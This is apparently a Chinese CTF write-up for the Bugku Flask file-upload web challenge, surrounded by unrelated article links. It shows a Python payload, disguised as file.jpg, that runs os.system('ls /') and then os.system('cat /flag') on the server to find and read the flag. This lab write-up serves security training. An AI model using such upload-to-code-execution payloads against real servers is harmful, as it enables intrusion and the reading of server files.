技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
Lee川
5 分钟前
现代Web开发中的CSS继承、Flexbox布局与LocalStorage交互:从文档解析到实践应用
前端·css
炫饭第一名
6 分钟前
速通Canvas指北🦮——图形、文本与样式篇
前端·javascript·程序员
本末倒置183
6 分钟前
面向 Vue 开发者的 Next.js 快速入门指南
前端·vue.js
暴走的小呆
6 分钟前
vue3暗影代理:非原始值的响应式迷局
前端
1024小神
8 分钟前
bun+hono实现websocket长链接通许的demo
前端
滕青山
9 分钟前
文本字符数统计 在线工具核心JS实现
前端·javascript·vue.js
十二740
11 分钟前
前端缓存踩坑实录:从版本号管理到自动化构建
前端·javascript·nginx
over697
11 分钟前
从 URL 输入到页面展示:一次完整的 Web 导航之旅
前端·面试·架构
Giant100
12 分钟前
TypeScript 核心知识点(覆盖 90% 开发场景)
前端
暴走的小呆
14 分钟前
为什么react要从顶层更新
前端
热门推荐
01GitHub 镜像站点02OpenClaw 使用和管理 MCP 完全指南03OpenClaw + 飞书(Feishu)环境搭建指南04Claude Code + GLM4.7 避坑指南:解决 Unable to connect to Anthropic services05OpenClaw优化飞书API 额度已耗尽问题06Window 10部署openclaw报错node.exe : npm error code 12807本地部署 OpenClaw + DeepSeek-R1 完全指南08Clawdbot部署教程:解决‘gateway token missing’授权问题的完整步骤09网站改了域名,如何查找?10小黑课堂计算机二级WPSoffice题库软件下载安装教程(2026年3月最新版)